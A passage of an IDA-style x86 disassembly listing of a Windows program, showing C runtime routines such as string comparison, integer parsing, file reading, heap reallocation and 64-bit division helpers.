		retn
sub_40BE50	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C185	proc near		; CODE XREF: sub_402864+34p
					; sub_402864+4Fp ...

arg_0		= dword	ptr  4

		push	1
		push	[esp+4+arg_0]
		call	sub_40B6D1
		pop	ecx
		pop	ecx
		retn
sub_40C185	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C193	proc near		; CODE XREF: sub_40C200+4p

arg_0		= dword	ptr  4

		push	esi
		push	dword_480F9C
		call	sub_411478
		mov	edx, dword_480F9C
		pop	ecx
		mov	ecx, dword_480F98
		mov	esi, ecx
		sub	esi, edx
		add	esi, 4
		cmp	eax, esi
		pop	esi
		jnb	short loc_40C1F2
		push	edx
		call	sub_411478
		add	eax, 10h
		push	eax
		push	dword_480F9C
		call	sub_40C4F8
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C1D5
		retn
; ---------------------------------------------------------------------------


loc_40C1D5:				; CODE XREF: sub_40C193+3Fj
		mov	ecx, dword_480F98
		sub	ecx, dword_480F9C
		mov	dword_480F9C, eax
		sar	ecx, 2
		lea	ecx, [eax+ecx*4]
		mov	dword_480F98, ecx


loc_40C1F2:				; CODE XREF: sub_40C193+23j
		mov	eax, [esp+arg_0]
		mov	[ecx], eax
		add	dword_480F98, 4
		retn
sub_40C193	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C200	proc near		; CODE XREF: sub_402951+1Ap
					; sub_41641E+5p ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40C193
		neg	eax
		sbb	eax, eax
		pop	ecx
		neg	eax
		dec	eax
		retn
sub_40C200	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C212	proc near		; DATA XREF: .nsp0:00419014o
		push	80h
		call	sub_40B6BF
		test	eax, eax
		pop	ecx
		mov	dword_480F9C, eax
		jnz	short loc_40C233
		push	18h
		call	sub_40D60A
		mov	eax, dword_480F9C
		pop	ecx


loc_40C233:				; CODE XREF: sub_40C212+12j
		and	dword ptr [eax], 0
		mov	eax, dword_480F9C
		mov	dword_480F98, eax
		retn
sub_40C212	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C250	proc near		; CODE XREF: sub_40304D+1Dp
					; sub_403A2E+43p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		mov	edx, [esp+arg_0]
		mov	ecx, [esp+arg_4]
		test	edx, 3
		jnz	short loc_40C29C


loc_40C260:				; CODE XREF: sub_40C250+3Cj
					; sub_40C250+66j ...
		mov	eax, [edx]
		cmp	al, [ecx]
		jnz	short loc_40C294
		or	al, al
		jz	short loc_40C290
		cmp	ah, [ecx+1]
		jnz	short loc_40C294
		or	ah, ah
		jz	short loc_40C290
		shr	eax, 10h
		cmp	al, [ecx+2]
		jnz	short loc_40C294
		or	al, al
		jz	short loc_40C290
		cmp	ah, [ecx+3]
		jnz	short loc_40C294
		add	ecx, 4
		add	edx, 4
		or	ah, ah
		jnz	short loc_40C260
		mov	edi, edi


loc_40C290:				; CODE XREF: sub_40C250+18j
					; sub_40C250+21j ...
		xor	eax, eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C294:				; CODE XREF: sub_40C250+14j
					; sub_40C250+1Dj ...
		sbb	eax, eax
		shl	eax, 1
		inc	eax
		retn
; ---------------------------------------------------------------------------
		align 4


loc_40C29C:				; CODE XREF: sub_40C250+Ej
		test	edx, 1
		jz	short loc_40C2B8
		mov	al, [edx]
		inc	edx
		cmp	al, [ecx]
		jnz	short loc_40C294
		inc	ecx
		or	al, al
		jz	short loc_40C290
		test	edx, 2
		jz	short loc_40C260


loc_40C2B8:				; CODE XREF: sub_40C250+52j
		mov	ax, [edx]
		add	edx, 2
		cmp	al, [ecx]
		jnz	short loc_40C294
		or	al, al
		jz	short loc_40C290
		cmp	ah, [ecx+1]
		jnz	short loc_40C294
		or	ah, ah
		jz	short loc_40C290
		add	ecx, 2
		jmp	short loc_40C260
sub_40C250	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C2D4	proc near		; CODE XREF: sub_40450F+1Cp

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_14		= dword	ptr -14h
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	[ebp+arg_C]
		mov	[ebp+var_18], eax
		mov	[ebp+var_20], eax
		mov	eax, [ebp+arg_4]
		push	[ebp+arg_8]
		mov	[ebp+var_1C], eax
		lea	eax, [ebp+var_20]
		mov	[ebp+var_14], 42h
		push	eax
		call	sub_40D768
		add	esp, 0Ch
		dec	[ebp+var_1C]
		mov	esi, eax
		js	short loc_40C312
		mov	eax, [ebp+var_20]
		and	byte ptr [eax],	0
		jmp	short loc_40C31F
; ---------------------------------------------------------------------------


loc_40C312:				; CODE XREF: sub_40C2D4+34j
		lea	eax, [ebp+var_20]
		push	eax
		push	0
		call	sub_40D653
		pop	ecx
		pop	ecx


loc_40C31F:				; CODE XREF: sub_40C2D4+3Cj
		mov	eax, esi
		pop	esi
		leave
		retn
sub_40C2D4	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C324	proc near		; CODE XREF: sub_40C3AF+4p
					; sub_414438+1A2p ...

arg_0		= dword	ptr  4

		push	ebx
		push	ebp
		push	esi
		push	edi
		mov	edi, [esp+10h+arg_0]


loc_40C32C:				; CODE XREF: sub_40C324+34j
		cmp	dword_41FF84, 1
		jle	short loc_40C344
		movzx	eax, byte ptr [edi]
		push	8
		push	eax
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40C353
; ---------------------------------------------------------------------------


loc_40C344:				; CODE XREF: sub_40C324+Fj
		movzx	eax, byte ptr [edi]
		mov	ecx, off_41FD78
		mov	al, [ecx+eax*2]
		and	eax, 8


loc_40C353:				; CODE XREF: sub_40C324+1Ej
		test	eax, eax
		jz	short loc_40C35A
		inc	edi
		jmp	short loc_40C32C
; ---------------------------------------------------------------------------


loc_40C35A:				; CODE XREF: sub_40C324+31j
		movzx	esi, byte ptr [edi]
		inc	edi
		cmp	esi, 2Dh
		mov	ebp, esi
		jz	short loc_40C36A
		cmp	esi, 2Bh
		jnz	short loc_40C36E


loc_40C36A:				; CODE XREF: sub_40C324+3Fj
		movzx	esi, byte ptr [edi]
		inc	edi


loc_40C36E:				; CODE XREF: sub_40C324+44j
		xor	ebx, ebx


loc_40C370:				; CODE XREF: sub_40C324+7Bj
		cmp	dword_41FF84, 1
		jle	short loc_40C385
		push	4
		push	esi
		call	sub_4114D9
		pop	ecx
		pop	ecx
		jmp	short loc_40C390
; ---------------------------------------------------------------------------


loc_40C385:				; CODE XREF: sub_40C324+53j
		mov	eax, off_41FD78
		mov	al, [eax+esi*2]
		and	eax, 4


loc_40C390:				; CODE XREF: sub_40C324+5Fj
		test	eax, eax
		jz	short loc_40C3A1
		lea	eax, [ebx+ebx*4]
		lea	ebx, [esi+eax*2-30h]
		movzx	esi, byte ptr [edi]
		inc	edi
		jmp	short loc_40C370
; ---------------------------------------------------------------------------


loc_40C3A1:				; CODE XREF: sub_40C324+6Ej
		cmp	ebp, 2Dh
		mov	eax, ebx
		jnz	short loc_40C3AA
		neg	eax


loc_40C3AA:				; CODE XREF: sub_40C324+82j
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_40C324	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C3AF	proc near		; CODE XREF: sub_403E11+45Cp
					; sub_403E11+46Bp ...

arg_0		= dword	ptr  4

		push	[esp+arg_0]
		call	sub_40C324
		pop	ecx
		retn
sub_40C3AF	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C3BA	proc near		; CODE XREF: sub_40327E+62p
					; sub_404475+7Cp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_40C3CF
		or	eax, 0FFFFFFFFh
		jmp	short loc_40C409
; ---------------------------------------------------------------------------


loc_40C3CF:				; CODE XREF: sub_40C3BA+Ej
		test	al, 83h
		jz	short loc_40C407
		push	esi
		call	sub_41169D
		push	esi
		mov	edi, eax
		call	sub_411637
		push	dword ptr [esi+10h]
		call	sub_411584
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_40C3F5
		or	edi, 0FFFFFFFFh
		jmp	short loc_40C407
; ---------------------------------------------------------------------------


loc_40C3F5:				; CODE XREF: sub_40C3BA+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_40C407
		push	eax
		call	sub_40B771
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_40C407:				; CODE XREF: sub_40C3BA+17j
					; sub_40C3BA+39j ...
		mov	eax, edi


loc_40C409:				; CODE XREF: sub_40C3BA+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_40C3BA	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C410	proc near		; CODE XREF: sub_40327E+43p
					; sub_404475+4Ep ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_40C434
		xor	eax, eax
		jmp	loc_40C4DD
; ---------------------------------------------------------------------------


loc_40C434:				; CODE XREF: sub_40C410+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40C447
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_40C453
; ---------------------------------------------------------------------------


loc_40C447:				; CODE XREF: sub_40C410+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_40C453
; ---------------------------------------------------------------------------


loc_40C450:				; CODE XREF: sub_40C410+C4j
		mov	ecx, [ebp+arg_0]


loc_40C453:				; CODE XREF: sub_40C410+35j
					; sub_40C410+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_40C485
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_40C485
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_40C46A
		mov	edi, eax


loc_40C46A:				; CODE XREF: sub_40C410+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_40B210
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_40C4D0
; ---------------------------------------------------------------------------


loc_40C485:				; CODE XREF: sub_40C410+49j
					; sub_40C410+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_40C4B8
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_40C49B
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_40C49B:				; CODE XREF: sub_40C410+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_411848
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40C4E2
		cmp	eax, 0FFFFFFFFh
		jz	short loc_40C4E8
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_40C4D0
; ---------------------------------------------------------------------------


loc_40C4B8:				; CODE XREF: sub_40C410+78j
		push	esi
		call	sub_41176F
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_40C4EC
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_40C4D0:				; CODE XREF: sub_40C410+73j
					; sub_40C410+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_40C450
		mov	eax, [ebp+arg_8]


loc_40C4DD:				; CODE XREF: sub_40C410+1Fj
					; sub_40C410+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_40C4E2:				; CODE XREF: sub_40C410+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_40C4EC
; ---------------------------------------------------------------------------


loc_40C4E8:				; CODE XREF: sub_40C410+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_40C4EC:				; CODE XREF: sub_40C410+B2j
					; sub_40C410+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_40C4DD
sub_40C410	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_40C4F8	proc near		; CODE XREF: sub_40327E+2Cp
					; sub_40C193+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_40C513
		push	[ebp+arg_4]
		call	sub_40B6BF
		pop	ecx
		jmp	loc_40C793
; ---------------------------------------------------------------------------


loc_40C513:				; CODE XREF: sub_40C4F8+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_40C528
		push	[ebp+arg_0]
		call	sub_40B771
		pop	ecx
		jmp	loc_40C791
; ---------------------------------------------------------------------------


loc_40C528:				; CODE XREF: sub_40C4F8+20j
		mov	eax, dword_480F88
		cmp	eax, 3
		jnz	loc_40C638


loc_40C536:				; CODE XREF: sub_40C4F8+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40C614
		push	[ebp+arg_0]
		call	sub_40EC58
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_40C5EF
		cmp	esi, dword_480F80
		ja	short loc_40C5A8
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_40F461
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40C5A4
		push	esi
		call	sub_40EFAC
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C5A8
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40C588
		mov	eax, esi


loc_40C588:				; CODE XREF: sub_40C4F8+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_40B210
		push	ebx
		call	sub_40EC58
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_40EC83
		add	esp, 18h


loc_40C5A4:				; CODE XREF: sub_40C4F8+74j
		test	edi, edi
		jnz	short loc_40C5EB


loc_40C5A8:				; CODE XREF: sub_40C4F8+62j
					; sub_40C4F8+81j
		test	esi, esi
		jnz	short loc_40C5AF
		push	1
		pop	esi


loc_40C5AF:				; CODE XREF: sub_40C4F8+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_40C5EB
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_40C5D7
		mov	eax, esi


loc_40C5D7:				; CODE XREF: sub_40C4F8+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_40B210
		push	[ebp+arg_0]
		push	ebx
		call	sub_40EC83
		add	esp, 14h


loc_40C5EB:				; CODE XREF: sub_40C4F8+AEj
					; sub_40C4F8+D0j
		test	ebx, ebx
		jnz	short loc_40C610


loc_40C5EF:				; CODE XREF: sub_40C4F8+56j
		test	esi, esi
		jnz	short loc_40C5F6
		push	1
		pop	esi


loc_40C5F6:				; CODE XREF: sub_40C4F8+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_480F84
		call	dword_417110	; RtlReAllocateHeap
		mov	edi, eax


loc_40C610:				; CODE XREF: sub_40C4F8+F5j
		test	edi, edi
		jnz	short loc_40C631


loc_40C614:				; CODE XREF: sub_40C4F8+43j
		cmp	dword_47F96C, 0
		jz	short loc_40C631
		push	esi
		call	sub_40EA23
		test	eax, eax
		pop	ecx
		jnz	loc_40C536
		jmp	loc_40C791
; ---------------------------------------------------------------------------


loc_40C631:				; CODE XREF: sub_40C4F8+11Aj
					; sub_40C4F8+123j ...
		mov	eax, edi
		jmp	loc_40C793
; ---------------------------------------------------------------------------


loc_40C638:				; CODE XREF: sub_40C4F8+38j
		cmp	eax, 2
		jnz	loc_40C753
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40C655
		test	esi, esi
		jbe	short loc_40C652
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_40C655
; ---------------------------------------------------------------------------


loc_40C652:				; CODE XREF: sub_40C4F8+150j
		push	10h
		pop	esi


loc_40C655:				; CODE XREF: sub_40C4F8+14Cj
					; sub_40C4F8+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_40C735
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_40F9B3
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_40C719
		cmp	esi, dword_41FC34
		jnb	short loc_40C6DD
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40FD7B
		add	esp, 10h
		test	eax, eax
		jz	short loc_40C6A3
		mov	edi, [ebp+arg_0]
		jmp	short loc_40C6D5
; ---------------------------------------------------------------------------


loc_40C6A3:				; CODE XREF: sub_40C4F8+1A4j
		push	edi
		call	sub_40FA4F
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_40C6DD
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_40C6BC
		mov	eax, esi


loc_40C6BC:				; CODE XREF: sub_40C4F8+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_40B210
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40FA0A
		add	esp, 18h


loc_40C6D5:				; CODE XREF: sub_40C4F8+1A9j
		test	edi, edi
		jnz	loc_40C631


loc_40C6DD:				; CODE XREF: sub_40C4F8+18Bj
					; sub_40C4F8+1B6j
		push	esi
		push	0
		push	dword_480F84
		call	dword_417104	; RtlAllocateHeap
		mov	edi, eax
		test	edi, edi
		jz	short loc_40C735
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_40C6FE
		mov	eax, esi


loc_40C6FE:				; CODE XREF: sub_40C4F8+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_40B210
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_40FA0A
		add	esp, 18h
		jmp	short loc_40C72D
; ---------------------------------------------------------------------------


loc_40C719:				; CODE XREF: sub_40C4F8+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_480F84
		call	dword_417110	; RtlReAllocateHeap
		mov	edi, eax


loc_40C72D:				; CODE XREF: sub_40C4F8+21Fj
		test	edi, edi
		jnz	loc_40C631


loc_40C735:				; CODE XREF: sub_40C4F8+162j
					; sub_40C4F8+1F8j
		cmp	dword_47F96C, 0
		jz	loc_40C631
		push	esi
		call	sub_40EA23
		test	eax, eax
		pop	ecx
		jnz	loc_40C655
		jmp	short loc_40C791
; ---------------------------------------------------------------------------


loc_40C753:				; CODE XREF: sub_40C4F8+143j
					; sub_40C4F8+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_40C77D
		test	esi, esi
		jnz	short loc_40C761
		push	1
		pop	esi


loc_40C761:				; CODE XREF: sub_40C4F8+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_480F84
		call	dword_417110	; RtlReAllocateHeap
		test	eax, eax
		jnz	short loc_40C793


loc_40C77D:				; CODE XREF: sub_40C4F8+260j
		cmp	dword_47F96C, 0
		jz	short loc_40C793
		push	esi
		call	sub_40EA23
		test	eax, eax
		pop	ecx
		jnz	short loc_40C753


loc_40C791:				; CODE XREF: sub_40C4F8+2Bj
					; sub_40C4F8+134j ...
		xor	eax, eax


loc_40C793:				; CODE XREF: sub_40C4F8+16j
					; sub_40C4F8+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_40C4F8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C798	proc near		; CODE XREF: sub_40C7B8+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_411BAE
		test	eax, eax
		jnz	short loc_40C7A2
		retn
; ---------------------------------------------------------------------------


loc_40C7A2:				; CODE XREF: sub_40C798+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_411A3E
		add	esp, 10h
		retn
sub_40C798	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7B8	proc near		; CODE XREF: sub_40327E+18p
					; sub_404475+2Ap ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_40C798
		add	esp, 0Ch
		retn
sub_40C7B8	endp


; =============== S U B	R O U T	I N E =======================================



sub_40C7CB	proc near		; CODE XREF: sub_4037EA+8p

arg_0		= dword	ptr  4
arg_4		= byte ptr  8

		push	[esp+arg_0]
		call	dword_4170B8	; GetFileAttributesA
		cmp	eax, 0FFFFFFFFh
		jnz	short loc_40C7EB
		call	dword_417044	; RtlGetLastWin32Error
		push	eax
		call	sub_411C26
		pop	ecx


loc_40C7E7:				; CODE XREF: sub_40C7CB+3Fj
		or	eax, 0FFFFFFFFh
		retn
; ---------------------------------------------------------------------------


loc_40C7EB:				; CODE XREF: sub_40C7CB+Dj
		test	al, 1
		jz	short loc_40C80C
		test	[esp+arg_4], 2
		jz	short loc_40C80C
		mov	dword_47F914, 0Dh
		mov	dword_47F918, 5
		jmp	short loc_40C7E7
; ---------------------------------------------------------------------------


loc_40C80C:				; CODE XREF: sub_40C7CB+22j
					; sub_40C7CB+29j
		xor	eax, eax
		retn
sub_40C7CB	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C810	proc near		; CODE XREF: sub_403804+3Fp
					; sub_40A143+24p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		push	esi
		mov	eax, [esp+8+arg_C]
		or	eax, eax
		jnz	short loc_40C832
		mov	ecx, [esp+8+arg_8]
		mov	eax, [esp+8+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+8+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40C873
; ---------------------------------------------------------------------------


loc_40C832:				; CODE XREF: sub_40C810+8j
		mov	ecx, eax
		mov	ebx, [esp+8+arg_8]
		mov	edx, [esp+8+arg_4]
		mov	eax, [esp+8+arg_0]


loc_40C840:				; CODE XREF: sub_40C810+3Aj
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40C840
		div	ebx
		mov	esi, eax
		mul	[esp+8+arg_C]
		mov	ecx, eax
		mov	eax, [esp+8+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40C86E
		cmp	edx, [esp+8+arg_4]
		ja	short loc_40C86E
		jb	short loc_40C86F
		cmp	eax, [esp+8+arg_0]
		jbe	short loc_40C86F


loc_40C86E:				; CODE XREF: sub_40C810+4Ej
					; sub_40C810+54j
		dec	esi


loc_40C86F:				; CODE XREF: sub_40C810+56j
					; sub_40C810+5Cj
		xor	edx, edx
		mov	eax, esi


loc_40C873:				; CODE XREF: sub_40C810+20j
		pop	esi
		pop	ebx
		retn	10h
sub_40C810	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C880	proc near		; CODE XREF: sub_403804+2Dp
					; sub_40A143+3Dp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	ebx
		mov	eax, [esp+4+arg_C]
		or	eax, eax
		jnz	short loc_40C8A1
		mov	ecx, [esp+4+arg_8]
		mov	eax, [esp+4+arg_4]
		xor	edx, edx
		div	ecx
		mov	eax, [esp+4+arg_0]
		div	ecx
		mov	eax, edx
		xor	edx, edx
		jmp	short loc_40C8F1
; ---------------------------------------------------------------------------


loc_40C8A1:				; CODE XREF: sub_40C880+7j
		mov	ecx, eax
		mov	ebx, [esp+4+arg_8]
		mov	edx, [esp+4+arg_4]
		mov	eax, [esp+4+arg_0]


loc_40C8AF:				; CODE XREF: sub_40C880+39j
		shr	ecx, 1
		rcr	ebx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ecx, ecx
		jnz	short loc_40C8AF
		div	ebx
		mov	ecx, eax
		mul	[esp+4+arg_C]
		xchg	eax, ecx
		mul	[esp+4+arg_8]
		add	edx, ecx
		jb	short loc_40C8DA
		cmp	edx, [esp+4+arg_4]
		ja	short loc_40C8DA
		jb	short loc_40C8E2
		cmp	eax, [esp+4+arg_0]
		jbe	short loc_40C8E2


loc_40C8DA:				; CODE XREF: sub_40C880+4Aj
					; sub_40C880+50j
		sub	eax, [esp+4+arg_8]
		sbb	edx, [esp+4+arg_C]


loc_40C8E2:				; CODE XREF: sub_40C880+52j
					; sub_40C880+58j
		sub	eax, [esp+4+arg_0]
		sbb	edx, [esp+4+arg_4]
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C8F1:				; CODE XREF: sub_40C880+1Fj
		pop	ebx
		retn	10h
sub_40C880	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C900	proc near		; CODE XREF: sub_403913+5Fp
					; sub_403913+90p ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h

		push	edi
		push	esi
		push	ebx
		xor	edi, edi
		mov	eax, [esp+0Ch+arg_4]
		or	eax, eax
		jge	short loc_40C921
		inc	edi
		mov	edx, [esp+0Ch+arg_0]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_4], eax
		mov	[esp+0Ch+arg_0], edx


loc_40C921:				; CODE XREF: sub_40C900+Bj
		mov	eax, [esp+0Ch+arg_C]
		or	eax, eax
		jge	short loc_40C93D
		inc	edi
		mov	edx, [esp+0Ch+arg_8]
		neg	eax
		neg	edx
		sbb	eax, 0
		mov	[esp+0Ch+arg_C], eax
		mov	[esp+0Ch+arg_8], edx


loc_40C93D:				; CODE XREF: sub_40C900+27j
		or	eax, eax
		jnz	short loc_40C959
		mov	ecx, [esp+0Ch+arg_8]
		mov	eax, [esp+0Ch+arg_4]
		xor	edx, edx
		div	ecx
		mov	ebx, eax
		mov	eax, [esp+0Ch+arg_0]
		div	ecx
		mov	edx, ebx
		jmp	short loc_40C99A
; ---------------------------------------------------------------------------


loc_40C959:				; CODE XREF: sub_40C900+3Fj
		mov	ebx, eax
		mov	ecx, [esp+0Ch+arg_8]
		mov	edx, [esp+0Ch+arg_4]
		mov	eax, [esp+0Ch+arg_0]


loc_40C967:				; CODE XREF: sub_40C900+71j
		shr	ebx, 1
		rcr	ecx, 1
		shr	edx, 1
		rcr	eax, 1
		or	ebx, ebx
		jnz	short loc_40C967
		div	ecx
		mov	esi, eax
		mul	[esp+0Ch+arg_C]
		mov	ecx, eax
		mov	eax, [esp+0Ch+arg_8]
		mul	esi
		add	edx, ecx
		jb	short loc_40C995
		cmp	edx, [esp+0Ch+arg_4]
		ja	short loc_40C995
		jb	short loc_40C996
		cmp	eax, [esp+0Ch+arg_0]
		jbe	short loc_40C996


loc_40C995:				; CODE XREF: sub_40C900+85j
					; sub_40C900+8Bj
		dec	esi


loc_40C996:				; CODE XREF: sub_40C900+8Dj
					; sub_40C900+93j
		xor	edx, edx
		mov	eax, esi


loc_40C99A:				; CODE XREF: sub_40C900+57j
		dec	edi
		jnz	short loc_40C9A4
		neg	edx
		neg	eax
		sbb	edx, 0


loc_40C9A4:				; CODE XREF: sub_40C900+9Bj
		pop	ebx
		pop	esi
		pop	edi
		retn	10h
sub_40C900	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_40C9B0	proc near		; CODE XREF: sub_403C6B+1Dp

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		mov	eax, [esp+arg_8]
		test	eax, eax
		jz	short locret_40C9FC
		mov	edx, [esp+arg_0]
		push	esi
		push	edi
		mov	esi, edx
		mov	edi, [esp+8+arg_4]
		or	edx, edi
		and	edx, 3
		jz	short loc_40C9FD
		test	eax, 1
		jz	short loc_40C9DD
		mov	cl, [esi]
		cmp	cl, [edi]
		jnz	short loc_40CA2A
		inc	esi
		inc	edi
		dec	eax
		jz	short loc_40C9FA


loc_40C9DD:				; CODE XREF: sub_40C9B0+20j
					; sub_40C9B0+48j
		mov	cl, [esi]
		mov	dl, [edi]
		cmp	cl, dl
		jnz	short loc_40CA2A
		mov	cl, [esi+1]
